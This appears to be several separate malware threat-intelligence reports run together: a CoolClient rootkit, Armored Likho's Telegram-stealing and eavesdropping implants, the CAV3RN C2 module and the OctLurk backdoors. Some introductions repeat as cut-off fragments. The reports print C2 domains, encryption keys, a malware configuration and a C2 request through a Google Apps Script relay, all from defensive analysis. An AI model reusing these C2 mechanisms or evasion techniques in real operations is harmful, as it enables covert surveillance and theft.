0x222120: registers the current CoolClient process with the driver.
0x2221E0: passes the configured C2 IPv4 address.
0x2220F0: registers filesystem and registry paths for protection.
The remaining IOCTL handlers were not invoked by the analyzed sample.
IOCTL
Handler
Functionality
0x222000
0x140001E04
Enable or disable the rootkit.
0x222004
0x1400020B0
Query the current rootkit state.
0x2220F0
0x140002320
● Register protected filesystem or registry paths
● Used by CoolClient to register its installation directory and service registry key.
0x2220F4
0x1400034DC
Remove a protected filesystem or registry path.
0x2220F8
0x140003464
Clear all protected filesystem and registry path entries.
0x222118
0x1400024B0
Register process or path protection entries.
0x22211C
0x140002A20
Query registered protection entries.
0x222120
0x140003794
Update process protection entries. Used by CoolClient to register itself as a trusted process.
0x222124
0x14000362C
Remove a protection entry.
0x222128
0x14000349C
Clear all process protection entries.
0x222130
0x14000265C
Register a protected process by PID.
0x222134
0x140010E88
Inject shellcode into a target process using NtCreateThreadEx.
0x222138
0x14000F498
Hide a kernel module by unlinking it from PsLoadedModuleList.
0x222144
0x14000270C
Delete a file.
0x222148
0x14000286C
Decrypt an embedded buffer and write it to disk.
0x22214C
0x1400027F4
Read and decrypt an encrypted file.
0x222168
0x140002780
Unmap the image section of a target process.
0x22216C
0x140013984
Terminate a process by PID.
0x222194
0x140011F50
Remove Protected Process Light (PPL) protection.
0x222198
0x140002940
Create or modify a registry value.
0x22219C
0x140010630
Hide a process by unlinking it from the active process list.
0x2221A0
0x140010670
Restore a previously hidden process.
0x2221A4
0x14000F8A0
Hide a module within a process.
0x2221A8
0x14000F954
Restore a hidden module.
0x2221AC
0x140016368
Enumerate and restore kernel notification callbacks.
0x2221B0
0x140016458
Disable or restore kernel notification callbacks.
0x2221B4
0x140012408
Manually load a secondary kernel driver.
0x2221B8
0x14001262C
Debug/test handler.
0x2221BC
0x1400165F6
Write to an arbitrary kernel address.
0x2221C0
0x14000BB00, 0x14000BB78
Enables deny-rootkit mode by registering image-load monitoring and enabling the patching logic.
0x2221C4
0x14000BB6C, 0x14000BB10
Disables deny-rootkit mode by clearing state and unregistering/removing the monitoring logic.
0x2221E0
0x1400126C0
Register a C2 IPv4 address.
0x2221E4
0x140012E50
Delete a C2 IPv4 address.
After initializing the IOCTL dispatcher, the driver releases the temporary configuration buffer that was previously loaded from \REGISTRY\MACHINE\SYSTEM\RNG.
Kernel module enumeration and hiding
To support kernel module hiding, the driver resolves the address of the non-exported kernel variable PsLoadedModuleList at runtime using MmGetSystemRoutineAddress. This global linked list maintains information about all loaded kernel modules and drivers, allowing the rootkit to enumerate and manipulate module entries.
Driver initialization routine resolving the address of PsLoadedModuleList for subsequent kernel module hiding
This functionality is exposed through IOCTL 0x222138, which accepts a module name or path from the user-mode component. When a matching module is found, the driver locates the corresponding entry in PsLoadedModuleList and unlinks it by updating its Flink and Blink pointers. As a result, the hidden module no longer appears in standard kernel module enumeration routines.
Nsiproxy hooking and data filtering
The driver also hooks the Nsiproxy driver to filter network-related data returned to user mode. This functionality is connected to IOCTL 0x2221E0, which allows the user-mode component to register C2 IPv4 addresses with the driver.
To install the hook, the driver obtains a reference to \Driver\Nsiproxy using ObReferenceObjectByName and replaces one of the Nsiproxy handler pointers with its own filtering routine. The hook preserves the original handler and forwards execution after processing the returned data.
Installing the Nsiproxy hook by resolving \Driver\Nsiproxy and replacing the original handler with the driver’s filtering routine
When the hooked routine processes network information, the driver compares the returned entries against its registered C2 address list. Matching IP addresses are removed before the data is returned to user mode, preventing applications that rely on Nsiproxy-provided network information from seeing the malware’s C2 addresses.
Finally, the driver registers a DriverUnload routine to release allocated resources when the driver is unloaded.
Victimology
The latest CoolClient variant continues to target organizations consistent with previously observed HoneyMyte activity. Based on our investigations, we identified victims in Myanmar, Mongolia, Pakistan, and Russia, including confirmed government entities.
Across the observed intrusions, CoolClient was consistently deployed as a secondary backdoor following a PlugX infection, indicating that HoneyMyte continues to use PlugX as its initial post-compromise implant before transitioning to CoolClient.
Attribution
Our analysis confirms that the investigated malware is a new CoolClient variant associated with the HoneyMyte threat group. While the overall execution flow remains consistent with previously documented CoolClient variants, this sample introduces a previously undocumented kernel-mode driver that significantly expands the malware’s stealth capabilities.
The deployment chain observed in this investigation is also consistent with previous HoneyMyte campaigns, in which PlugX serves as the initial foothold before CoolClient is deployed as a secondary backdoor, further reinforcing the attribution.
Conclusion
The latest CoolClient variant represents a significant evolution of the malware. Rather than operating solely as a user-mode backdoor with plugin support, it now deploys and communicates with a kernel-mode driver that extends its capabilities beyond earlier versions. Through this driver, CoolClient can hide and protect processes, files, and registry objects, as well as filter selected network information, making detection and analysis considerably more difficult.
HoneyMyte has previously introduced kernel-mode functionality in ToneShell. The addition of a kernel-mode driver to CoolClient suggests that the group continues to expand its use of rootkit capabilities to improve stealth, persistence, and defense evasion during post-compromise operations.
In May 2026, we discovered a new cyber-espionage campaign by the Armored Likho group, also known as Eagle Werewolf, that targets private individuals and organizations across various industries in Russia, including major corporations, the public sector, IT, and education. The attackers used a fake app as bait that mimics a service for donations. However, the most interesting part of this campaign isn’t the initial infection method – it’s the malicious implants the attackers use for cyber-espionag
In May 2026, we discovered a new cyber-espionage campaign by the Armored Likho group, also known as Eagle Werewolf, that targets private individuals and organizations across various industries in Russia, including major corporations, the public sector, IT, and education. The attackers used a fake app as bait that mimics a service for donations. However, the most interesting part of this campaign isn’t the initial infection method – it’s the malicious implants the attackers use for cyber-espionage.
We’ve written previously about recent Armored Likho attacks, but our analysis shows that the campaign discussed below has more in common with the group’s activity from February. That said, the attackers have significantly expanded their arsenal.
During our research, we found a new cyber-espionage toolkit written in Rust: the Still Toolkit. One of its components, Still Sync, steals Telegram session data to gain ongoing access to the victim’s account. With this stolen data, attackers can leverage the Telegram API to automatically pull chat logs, media files, and other information from the account.
The second component, Still Audio, is an implant for covert audio surveillance. It analyzes the incoming audio stream, automatically detects speech, records conversations, and sends the recordings to a command-and-control server.
In this article, we’ll look at the initial infection method, how the new Still Toolkit components are built, and the technical details of how they operate.
Kaspersky products detect this threat as Trojan.Win64.Agent.* and HEUR:Backdoor.Win32.Generic.
Background
Armored Likho’s malicious activity has been documented several times before: in November 2024, and in February and July 2026. The current campaign shows significant overlap with the November and February campaigns, which used malicious droppers disguised as documents and applications related to Starlink activation or fundraising efforts as the initial infection vector. This campaign also uses fundraising as its lure. At the same time, our research uncovered a number of new tools that point to the attackers expanding their capabilities.
Initial infection
The infection chain starts with an app that mimics a donation service. As of this writing, the app distribution method remains unknown. During our research, however, we obtained several samples posing as apps from different Russian foundations.
In reality, the app is a dropper. Its developers wrote it in Rust on top of the popular Tauri framework, and it has a graphical interface designed to deceive the user. After launch, it displays a login form that asks for a password, presumably one the attackers supplied.
The login form
After the user enters a valid password, they see a catalog of donatable items. The app pulls item and category information from orderapiserver[.]info through the public/categories and public/products endpoints. A clickable catalog makes the app look legitimate. While the user browses the items, the dropper quietly decrypts and launches the payload for the next stage in the background.
Our analysis shows that the mechanism for decrypting the payload and launching subsequent stages hasn’t changed since the February campaign. However, we found a new cyber-espionage toolkit – the Still Toolkit – made up of two components: Still Sync and Still Audio.
Still Sync
Still Sync is a stealer written in Rust that steals Telegram session data. However, its capabilities don’t stop there. With this stolen data, Sync can log in to the victim’s account and pull messages and media files through the Telegram API.
Architecturally, Sync is an asynchronous application based on the Tokio library. It talks to the server over gRPC and serializes messages with FlatBuffers. It supports both HTTP and HTTPS as transport protocols; the URL of the command-and-control server determines which one it uses.
How it works
When Sync launches, the attackers set several environment variables. Before starting any malicious activity, the implant pulls configuration parameters from these:
STILL_SYNC_ADDR: the address of the command-and-control server. By default, this is https://tg4service[.]com:443.
STILL_SEND_PATH: the path to the tdata
STILL_TELEGRAM_PASSCODE: the password for decrypting the tdata folder, if Telegram data encryption is enabled on the victim’s device.
Sync also supports several command-line arguments:
--console: runs as a console application. If this parameter is absent, the implant creates a TReload service to keep running in the background.
--version: prints version information and exits.
--firefly: launches a trace thread that monitors the program’s operation. It writes error messages to a hidden file, bin, located in the same folder as the main executable.
--db: turns on debug mode with detailed logging.
Example Still Sync logs
Once it launches, the malware begins registering the device with the C2 server. To do this, Sync collects the following information about the victim’s system:
Motherboard serial number
CPU ID
System UUID
BIOS serial number
Computer domain name
The malware combines the collected data into a single string with a colon as the separator. It then hashes that string with SHA-256 and stores the resulting hash under the key sysmarker. Worth noting: other Armored Likho tools, AquilaRAT included, use this same hashing algorithm.
Sync then serializes a package containing all the collected information and the agent version, and sends it in a POST request to /still.rpc.Sync/RegisterMachine. The response contains a machine_id value, which Sync uses to identify itself in subsequent requests.
Once registration succeeds, Sync sends a POST request with the machine_id parameter to /still.rpc.Sync/GetMachineSettings. The server responds with the following settings:
enabled: triggers malicious activity on the infected device.
scan_portable: turns on extended scanning when searching for the tdata We’ll cover this feature in more detail below.
fetch_telegram: if this parameter is on, Sync attempts to log in to Telegram and extract data. We’ll cover this feature in more detail below.
download_channels: if this parameter is off, Sync skips channel dialogs when exfiltrating Telegram data.
These parameters have no default values, so Sync doesn’t perform any malicious actions until the registration and settings-retrieval processes both complete successfully.
Telegram data collection
Before stealing a Telegram session, Sync searches for the tdata folder, unless the STILL_SEND_PATH variable is already set. The list of search paths includes both standard and nonstandard directories, if the scan_portable option is turned on:
C:\Users\<username>\AppData\Roaming\Telegram Desktop\: the standard Telegram Desktop installation directory.
C:\Users\<username>\AppData\Local\Packages\<package_folder>\LocalCache\Roaming\: the installation directory for the Microsoft Store version. Sync identifies the package folder by a name that contains the string TelegramMessenge.
C:\: used for the extended search (if the scan_portable option is on).
Sync then sends a POST request with a list of files from the tdata folder to the /still.rpc.Sync/CheckFiles endpoint. The server responds with the following values:
snapshot_id: an identifier the server assigns to the current data snapshot.
present: a list of file paths that are already present on the server.
This lets the C2 server avoid re-receiving files it already has. In addition, if Sync can’t access files on disk through standard methods, it falls back on three mechanisms that abuse the SeBackupPrivilege privilege:
Opening files with the CreateFileW function using the FILE_FLAG_BACKUP_SEMANTICS parameter
Creating a backup copy through the Shadow Copy service and reading files from there
If the previous methods all fail, attempting to copy the file using the Robocopy utility in backup mode
Beyond stealing Telegram session data, Sync can carry out full-scale collection of user information from the messaging app. When the fetch_telegram option is on, it launches a separate thread that authenticates to the chat app using the previously obtained tdata. Once authentication succeeds, Sync gains access to the account data and sends the following collected information to the server:
User details, such as username, phone number, first and last name
Information about private chats, groups, or channels, such as chat name and ID, the member list, and so on
Dialogs from private chats, groups, and channels (if the download_channels option is on)
Media files under 250MB: photos, documents, stickers, and contacts
Still Audio
Still Audio is an audio surveillance implant written in Rust. Its main job is to analyze the incoming audio stream and start recording voice when certain conditions are met – we’ll cover those in the next section. Architecturally, Still Audio largely mirrors Sync and uses the same mechanisms for communicating with the C2 server.
On launch, Still Audio performs a sequence of actions:
It extracts libmp3lame.dll, a file stored inside the executable. This is a library used to encode audio data.
If the --console command-line argument is absent, the implant creates a service named auxhost, connects to it, and continues running in the background.
While running in the background, it creates a file, logfile.log, to write logs to.
Next, Still Audio retrieves the C2 server address. As with Sync, it stores the URL in an environment variable – in this case, STILL_AUDIO_SYNC_ADDR. If that variable isn’t set, it falls back to STILL_SYNC_ADDR, which shows the two modules are compatible with each other. If neither variable is set, it uses the default URL, https://srwinservice[.]com.
Still Audio also uses the Dead Drop Resolver technique as a fallback mechanism for obtaining the C2 address. If the current server stays unreachable for three days, the tool tries to pull the current C2 URL from a GitHub repository. In the sample under analysis, we found the following URL for the page containing C2 information: hxxps://raw.githubusercontent[.]com/mmarln/pi-mono/refs/heads/main/packages/pods/src/array12.json
Encrypted C2 address inside the GitHub repository
The repository, a fork of a popular project, contains the server URL Base64-encoded and encrypted with the Blowfish algorithm in ECB mode, using the key 5c8e153228edd3c6cbf75684 (lowercase string). Older AquilaRAT samples use this exact same algorithm and key.
Once it obtains the current C2 address, the Audio module starts a registration process similar to Sync’s, but through a different endpoint:
/still.rpc.Audio/RegisterAudioMachine. Also, unlike Sync, Audio sends a list of available audio input devices along with the system information.
The server responds with settings for the implant:
machine_id: a unique identifier for the current device.
vad_threshold: the threshold value for the VAD (Voice Activity Detection) algorithm. Expressed as a decimal fraction, it represents a proportion of the maximum sound level the input device can pick up. Sound above this threshold counts as voice activity. The default vad_threshold is 02.
max_silence_duration: the number of audio samples with a VAD value below the set threshold after which the implant considers the recording finished.
max_buffer_size: the maximum buffer size for recorded audio data.
active_device: the name of the input device selected for recording, from the list of available devices.
The eavesdropping process
Still Audio works with raw audio samples it captures directly from the input device. To detect voice activity, it implements an algorithm based on Root Mean Square (RMS), a lightweight signal-processing method that distinguishes speech from silence by measuring the audio signal’s average power over time. The implant doesn’t rely on any third-party libraries here; it implements all the calculations itself.
The implant compares the calculated RMS value against the vad_threshold parameter. If RMS meets or exceeds this threshold, recording starts. To avoid losing the beginning of the recording, Still Audio uses a pre-buffer, a size-limited buffer that stores samples from just before the current recording moment. A sequence of max_silence_duration samples (320 by default) with RMS values below the threshold signals the end of the recording. For example, with a standard headset running at a 44.1kHz sampling rate, recording stops after roughly 7ms of silence.
Interestingly, the Audio module makes no attempt to hide its use of the microphone: its name shows up in Windows settings. In the sample we examined, the file was saved to disk as IntAudio.exe, and it appeared in the list of apps using the microphone as “Intel Audio”:
The malicious module in the list of apps using the microphone
Before sending recordings to the server, the implant uses the libmp3lame library to encode the raw audio samples. It sends the recording files via a POST request to /tgfrg, adding a Client-Id header containing the machine_id obtained during registration to identify the device.
Infrastructure
This campaign draws on a broad set of hosting providers and domains registered at different points in time, which suggests the attackers are trying to make their infrastructure harder to detect. We found no direct overlap in domains or IP addresses with the February campaign. Even so, the two infrastructures share some similarities:
They use the same hosting providers, with the ASNs 149440, 202448, and 215311.
Their domain names follow similar naming patterns that mimic Windows system services and update mechanisms.
Domain
IP address
Registration date
ASN
orderapiserver[.]info
187.127.153[.]38
April 18, 2026
47583
tg4service[.]com
159.198.37[.]74
October 4, 2025
22612
srwinservice[.]com
213.252.244[.]123
March 19, 2026
61272
screenserv[.]com
23.26.237[.]250
February 13, 2026
149440
windowserv[.]net
23.27.24[.]30
February 10, 2026
149440
managementapiservice[.]com
188.212.124[.]178
May 1, 2026
202448
service8date[.]com
145.223.69[.]143
January 13, 2026
215311
updateservs[.]com
145.223.68[.]66
December 23, 2025
215311
Victims
In this campaign, we’ve determined that the attackers’ primary targets are users in Russia. Most victims are private individuals, though the corporate sector, government organizations, IT companies, and educational institutions are also affected.
Attribution
This campaign has been using both new tools and malware families documented in BI.ZONE’s February report. While some components turned up for the first time, they show significant code-level overlap with malicious tools seen in earlier Armored Likho campaigns. Based on these overlaps, along with additional technical artifacts, we’re highly confident the Armored Likho group is behind the campaign. The overlaps we identified include:
Identical dropper architecture in the February and current campaigns, which includes the use of the Tauri library to build the graphical interface, a similar user-input handler, a payload with the ICRYPTMP header, and the same multi-part encryption format.
The same encryption algorithm and key used in AquilaRAT from the previous campaign and in the Still Audio module from the current campaign, both implementing the Dead Drop Resolver technique.
Identical logic for generating the sysmarker value in older AquilaRAT samples and in the Still toolkit from the current campaign. The algorithms match down to the PowerShell commands used to collect system information.
Substantial infrastructure overlap, which includes the hosting providers and domain-naming patterns described in the Infrastructure section.
Takeaways
The campaign described in this post shows Armored Likho’s toolkit evolving, with the group steadily expanding its cyber-espionage capabilities. Beyond the components we already knew about, the attackers rolled out new modules that let them not only access Telegram data but also conduct audio surveillance on victims. Together, these capabilities significantly widen the range of information attackers can collect in a single compromise.
One point deserves particular attention: the new tools form a cohesive set, sharing similar architecture, C2 communication mechanisms, and common implementation elements. This points to the group building out its own tool ecosystem, designed for long-term use and further expansion.
The emergence of new, specialized modules shows the attackers aren’t just trying to preserve their existing capabilities – they’re working to make intelligence-gathering more effective by controlling multiple communication channels at once.
Project CAV3RN is a modular espionage framework used against targets in Israel. This report expands on two earlier publications: the first was published in June 2026 as part of our Kaspersky Threat Intelligence Reporting service, and the second was published on Securelist the following month, further documenting the framework’s evolving architecture and C2 capabilities.
Continued tracking of this cluster in early August 2026 uncovered several previously undocumented components that expanded the
Project CAV3RN is a modular espionage framework used against targets in Israel. This report expands on two earlier publications: the first was published in June 2026 as part of our Kaspersky Threat Intelligence Reporting service, and the second was published on Securelist the following month, further documenting the framework’s evolving architecture and C2 capabilities.
Continued tracking of this cluster in early August 2026 uncovered several previously undocumented components that expanded the framework’s communication and orchestration capabilities. The main finding is a complex C2 module that uses DNS A-record responses to choose between direct HTTPS and a Google Apps Script relay for each transaction. The same DNS infrastructure can validate and replace the relay deployment ID, allowing the operator to rotate the Google channel.
We also identified the framework’s local broker, which discovers and loads DLL components, routes messages between them, and supports runtime upgrades.
Multi-transport C2 communication module
The communication module, GoogleService.dll, is a 64-bit DLL compiled with Microsoft .NET 8 NativeAOT. Its PDB path is:
NativeAOT data also revealed references to eight source files, including the Direct.cs, FindMode.cs, and Google.cs.
The DLL exports GroupByCategory, CheckAvailability, IsPrimeNumber, and OrderByDate. During initialization, its host (local broker) registers the module’s callback and starts CheckAvailability. After three seconds, the module sends a type-0 frame to the fixed identifier 33A4BA78-E286-4FF2-85EC-7365265F3D93. The broker returns Err1::33A4BA78-E286-4FF2-85EC-7365265F3D93, which the module expects and uses to learn the broker’s name before starting its C2 worker.
C2 packets contain type, cid, and payload fields. Packets of the type icmgdd are processed by the communication module itself, while other types, including broker, are forwarded to the local broker. Within command payloads, _;;_ separates the command from its arguments and _,_ separates individual arguments.
The s_version handler enumerates DLLs under AppContext.BaseDirectory, collects their company names and versions, and appends the communication module’s name/version and the local broker’s name. This inventory is serialized as JSON, XORed with 0xAC, Base64-encoded, and sent as the module’s initial C2 report.
The module supports five internal commands:
Command
Functionality
s_version
Returns the DLL-version inventory described above. The command is executed automatically at startup.
s_config
Returns the active configuration and, when provided with a JSON configuration object, replaces it in memory.
s_enLog
Enables diagnostic logging at the Debug level.
s_deLog
Disables diagnostic logging and sets the logging level to Fatal.
s_write
Base64-decodes and GZip-decompresses provided data before writing it to the specified file path.
The module reads conf.json from the process’s current working directory. If it is missing, the module generates a seven-character client identifier and writes its embedded defaults to disk.
{
"to": "<generated seven-character ID>", // Client ID
"ad": "https://api.studiotikva.com/api/v1/update/check", // Direct C2 URL
"ho": "studiotikva.com", // DNS domain
"gi": "<redacted>", // Apps Script deployment ID
"de": false, // Enable Debug logging at startup
"mi": 120000, // Poll-delay reset after a non-empty response
"ma": 18000000, // Progressive poll-delay cap
"ri": 30000, // Base DNS recovery/error delay, with positive jitter
"ga": "s3criitC0d3/8-)B-,)", // Apps Script relay authentication key
"gu": "https://script.google.com/macros/s/{0}/exec",
"ua": "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.64 Safari/537.31",
"mcc": 50, // unknown
"mtc": 10 // unknown
}
The s_config command can replace these settings in memory but does not update the file. DNS recovery is the exception: a recovered Apps Script deployment ID is written back to conf.json.
Before polling for commands or sending a result, the module performs a DNS A-record query to select Direct HTTPS or Google Apps Script:
The first label combines a three- or four-character uppercase alphanumeric nonce with the current error state: 0 for None, 1 for GIDFailed, 2 for GoogleFailed, and 3 for DirectFailed. Each new transaction starts in state 0.
The exact response 12.19.29[.]30 is treated as a rejection. Other responses are interpreted according to their fourth octet:
Fourth octet
None (0)
GIDFailed (1)
GoogleFailed (2)
DirectFailed (3)
120 (0x78)
Google Apps Script
Direct HTTPS
Direct HTTPS
Google Apps Script
130 (0x82)
Direct HTTPS
Direct HTTPS
Direct HTTPS
Close the transaction (no channel)
140 (0x8C)
Exception
Exception
Exception
Exception
All other values
Google Apps Script
Google Apps Script
Google Apps Script
Google Apps Script
During analysis, valid .m queries returned 12.121.234[.]120, while malformed queries returned 12.19.29[.]30. For example, YCZ2.41414141303030.m.studiotikva[.]com carries state 2, so the final octet 120 selects Direct HTTPS.
CAV3RN DNS control-plane response: the final octet 120 selects the direct HTTPS channel
When Google mode is selected, the module calculates the MD5 digest of its stored deployment ID and compares its first four bytes with the A record returned by <random5>.<hex-ID>.q.studiotikva[.]com. A mismatch causes the module to retrieve a replacement through .p queries: <random5>.<hex-ID>.p.studiotikva[.]com.
DNS-based deployment-ID freshness check
The offset-0 response contains a one-byte length followed by the first three ID bytes. Each subsequent response contributes four bytes. The observed response 74.65.75.102 represents 4A 41 4B 66: a length of 74 followed by AKf. The DLL stops after collecting the declared length and discards the final padding byte rather than requesting offset 76.
DNS recovery of the Google Apps Script deployment ID: the offset-0 response contains the length byte and first three ID characters, followed by four-byte continuation chunks
One initial response and 18 continuation responses produced a 74-character deployment ID, shown redacted as AKfycby46v0DPSEKWYa****dvQ. The .q response 247.188.216[.]122 contains the bytes f7 bc d8 7a, matching the first four MD5 bytes of the recovered value. This is a 32-bit freshness check.
Wireshark capture showing the .p query sequence used for chunked retrieval of the Google Apps Script deployment ID
Google Apps Script channel
When DNS selects Google mode, the module inserts the deployment ID into https://script.google[.]com/macros/s/{deployment-ID}/exec.
Direct GET requests return a decoy page titled My App with the message This application is running normally. C2 polling instead uses an outer POST to Apps Script whose "m":"GET" field instructs the relay to issue a GET request to its upstream server:
POST /macros/s/AKfycbw2Wo4nYIQ*************UxSvjunDmNpeA/exec HTTP/1.1
Host: script.google.com
Content-Type: application/json
{"k":"s3criitC0d3/8-)B-,)","m":"GET","h":{"X-Client-Id":"AAAA000","User-Agent":"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.64 Safari/537.31"},"b":null,"ct":null,"r":true}
The request returns a 302 redirect; a redirect-following client subsequently receives a 200 OK serving the response:
Decoding b produces 9/E=; decoding it again produces f7 f1, which XORs with 0xAC to [], indicating an empty task list. An upstream timeout also exposed https://api.studiotikva[.]com/ac, confirming that the Apps Script deployment forwards requests to an actor-controlled backend.
Direct HTTPS channel
When DNS selects Direct HTTPS, the module contacts the configured ad address, https://api.studiotikva[.]com/api/v1/update/check, without using the relay. This occurs when the final octet is 130 (0x82) in the None, GIDFailed, or GoogleFailed states, or 120 (0x78) in the GIDFailed or GoogleFailed states. The endpoint expects the custom X-Client-Id header; requests without the expected header return {"res":"failed"} in its HTTP response.
However, a GET request carrying the correct X-Client-Id value receives a 76-byte body as shown in the following figure:
GET request to the header-gated C2 endpoint and its encoded tasking response
Base64-decoding the response body and XORing it with 0xAC produced the following broker-directed task packet: [{"type":"broker","cid":109,"payload":"002_;;__,_"}]. The broker type instructs the communication module to forward the task to the local broker.
Inter-component DLL broker
The inter-component broker, rnp.dll, is a 64-bit DLL compiled with Microsoft Visual C++. Its embedded PDB path is C:\Users\user\Desktop\Modules\broker-cavern\1.out\rnp.pdb. It masquerades as the RNP OpenPGP library through numerous rnp_* exports, while rnp_backend_string starts the broker.
The broker coordinates the framework’s DLL components. At startup, it creates the BROKER control structure, initializes its message dispatcher, and scans the host directory for DLLs. Components are grouped by CompanyName, and the highest-version candidate from each group is loaded if it exposes GroupByCategory, CheckAvailability, IsPrimeNumber, and OrderByDate.
The directory is rescanned every second, allowing a component to be added or upgraded without restarting the host. Updates require a higher-version DLL under a new path; replacing an existing file in place is not detected.
Loaded components exchange messages through the broker. It locates the requested destination and invokes that component’s callback. Unknown destinations return Err1::<destination>, while unavailable components return Err2::<destination>.
Command
Function
000
Lists loaded component names and versions
001
Lists every DLL path discovered by the scanner
002
Lists each loaded component’s path, name, and version
The 002_;;__,_ task recovered from the Direct HTTPS channel is forwarded by the communication module to this broker, which returns its component inventory. When unloading or replacing a component, the broker calls its IsPrimeNumber export and waits for its worker threads to stop before unloading the DLL.
Infrastructure
Historical records show that studiotikva[.]com was first registered in February 2024. Wayback Machine captures show Wix’s default disconnected-domain page, while passive DNS associated the domain with Wix infrastructure hosted in an Israeli data center. The domain expired in February 2026 and was subsequently re-registered. It may therefore have originally belonged to a legitimate Israeli business and been acquired by the threat actor only after its expiration; the available evidence does not indicate when ownership changed.
The domain was registered again on May 12, 2026, and redelegated on May 19 to ns1.studiotikva[.]com and ns2.studiotikva[.]com, resolving to 144.172.115[.]17 and 144.172.104[.]82. It later hosted a generic “Studio Tikva” website that provided locally plausible cover: “Tikva” (תקווה) means “hope” in Hebrew.
The infrastructure supported authoritative DNS and direct HTTPS C2. The Google Apps Script deployment acted as an application-layer relay; during an upstream timeout, it exposed https://api.studiotikva[.]com/ac, revealing the actor-controlled backend endpoint.
Project CAV3RN continues to evolve, introducing increasingly sophisticated components and communication capabilities. By abusing legitimate services — previously Outlook calendar events and now Google Apps Script — the framework blends its C2 traffic with normal network activity, complicating network-based detection. Given its development pace, modular design, and operational tempo, we assess that CAV3RN will likely continue to expand. We will continue tracking the framework and reporting on its activity in the wild.
Introduction
We have been tracking two new backdoors, OctLurk and SilkLurk, observed in attacks against government organizations primarily in Central Asia since January 2025. Identified victims are located in Afghanistan, Kyrgyzstan, Tajikistan, Uzbekistan, Kazakhstan, and the Syrian Arab Republic. These organizations operate across several sectors, including healthcare, research, government offices, ministries of foreign affairs, logistics, law‑enforcement agencies, urban planning and facilitie
We have been tracking two new backdoors, OctLurk and SilkLurk, observed in attacks against government organizations primarily in Central Asia since January 2025. Identified victims are located in Afghanistan, Kyrgyzstan, Tajikistan, Uzbekistan, Kazakhstan, and the Syrian Arab Republic. These organizations operate across several sectors, including healthcare, research, government offices, ministries of foreign affairs, logistics, law‑enforcement agencies, urban planning and facilities management, and public educational establishments.
The backdoor loaders are customized for each victim and use information from the victim’s machine to decrypt the payload. Both the loaders and the backdoors are heavily obfuscated, making analysis more complicated. OctLurk and SilkLurk can download and inject additional plugins to perform further malicious actions, including launching command shells, performing file system activity, synthesizing keyboard and mouse events, network scanning, credential dumping, keylogging, password theft from browsers, email collection, and remote access. Furthermore, the attackers deployed a specialized utility we named LurkProxy, which we also cover in this report. While it has a highly similar architecture to the OctLurk backdoor, it is not a backdoor itself.
Our investigation shows that the same threat actor operates both SilkLurk and OctLurk , and some victims infected with SilkLurk also contain OctLurk. We assess with medium confidence that the same actor is behind both backdoors, and that they are Chinese‑speaking. However, at the time of publication, we couldn’t attribute this activity to any known group.
OctLurk
OctLurk Deployment
The attacker created a scheduled task named GoogleUpDate on remote machines using admin credentials. The task runs once with System account privileges right after it was created, executing the batch script located at C:\Users\<username>\Videos\1.bat (MD5 6ecf84fb18f6747ed08d7598364d853a). Prior to executing the task, the actor queries its status. It is then run, as shown below.
The 1.bat script creates a service named NgcCIntSvc, which loads the loader DLL named oleasapi.dll (MD5 082d49ef9f14e6811d68c7e0e82e5069). The ServiceMain parameter in the service’s registry entry is set to invoke the RegisterService function of oleasapi.dll as shown below.
LurkPoxy Deployment
In another case, the attacker at first checked connectivity to the domain dns[.]ssentialserv[.]xyz as shown below. At the time of our research, the domain was resolving to the address 154[.]196[.]162[.]76 which is used as a LurkProxy C2 server.
After confirming that the C2 server was reachable, the attacker executed the batch script C:\Users\[username]\Desktop\auto.bat (MD5 b874123a80fc4f40e06872b9cb54ebc6). The script created a service named Cusrxsrv, which loads a DLL named msbasesysdc.dll. In the service registry, the ServiceMain parameter was set to call the RegisterService function of msbasesysdc.dll as shown below.
We identified several service names — specitsrc, cmtastsvc, PNRPHostSvc, vmictimerosync, and vmicagent — that the attackers used to load a malicious DLL onto compromised machines.
OctLurk loader
The loader DLL exports two methods, Refresh and RegisterService. The previously created service first calls RegisterService, which in turn invokes Refresh, the method that contains the malicious code. To locate the payload, the loader double-XOR-decrypts and then zlib-decompresses a set of hard‑coded bytes, yielding the payload file path. The payload bytes itself undergoes the same double‑XOR decryption and zlib decompression to produce the backdoor DLL bytes.
The double‑XOR decryption uses two distinct multibyte keys:
Key 1: hard‑coded in the loader
Key 2: derived from the serial number of the C: drive
The backdoor DLL is reflectively injected into memory and its entry point is executed. The loader can then call the DLL’s exported methods either by name or by ordinal; both the method name and the ordinal number are hard‑coded in the loader and are decrypted using the same double‑XOR and zlib‑decompression process applied to the payload path and bytes.
OctLurk backdoor
The loader invokes the backdoor’s curl_easy_escape function (ordinal 2). The backdoor then creates a stream socket using a hard‑coded C2 address (dns[.]multitoconference[.]com) and port 443. It gathers the following information from the victim machine:
OS information as RTL_OSVERSIONINFOW structure
Computer name
User name
Local host name
Local IP address in format %u.%u.%u.%u, with local hostname-to-IP-address translation
Current local date and time as SYSTEMTIME struct
To encrypt the collected data, the backdoor employs a hard‑coded XOR key, which in most cases we observed was the string FDrertgr##@QEWASGkio865ehyf98foidsjzhug874392dfsREFDfdsAGH43wea98h. In addition, it generates 0x53 (83) random bytes — this length is also hard‑coded in the sample — and uses them as a second XOR key. The collected victim information is first compressed with zlib (deflate), and then XOR‑encrypted twice, first with the hard‑coded string key and then with the randomly generated byte sequence. The final data is arranged as follows:
The backdoor initially transmits a 16‑byte header that specifies the size of the incoming data packet, as shown below. It then sends the actual data packet.
0x00: randomly picked 10 chars from the string “zyxwvutsrqponmlkjihgfedcbaABCDEFGHIJKLMNOPQRSTUVWXYZ9876543210-_”
0x0A: \x00\x00
0x0C: next_packet_size
The first packet received is 16 bytes long, and its last four bytes specify the size of the subsequent data packet. The format of the subsequent data packet is shown below.
0x00: XOR key; size 83 bytes
0x53: compressed data size
0x57: compressed data in the format: <uncompressed_size> <deflate(data)>
The received data is decrypted using a double‑XOR method: first with the XOR key contained in the packet, then with a hard‑coded XOR key. After the XOR decryption, the data is zlib decompressed. The data may be a command or a plugin code.
OctLurk loads plugins from the C2 server directly into memory to perform various tasks. Each plugin exports two methods — ins_ctl_db and oct_lk_col — with the actual functionality implemented in oct_lk_col. Our analysis shows that the plugins listed below are commonly deployed on victim machines.
Command Shell: provides a command shell
File Manager: performs filesystem interaction
Interaction Manager: synthesizes keyboard and mouse events
The table below provides a detailed description of operations performed by these plugins, where each switch case value denotes command ID.
Plugin type
Description
File Manager
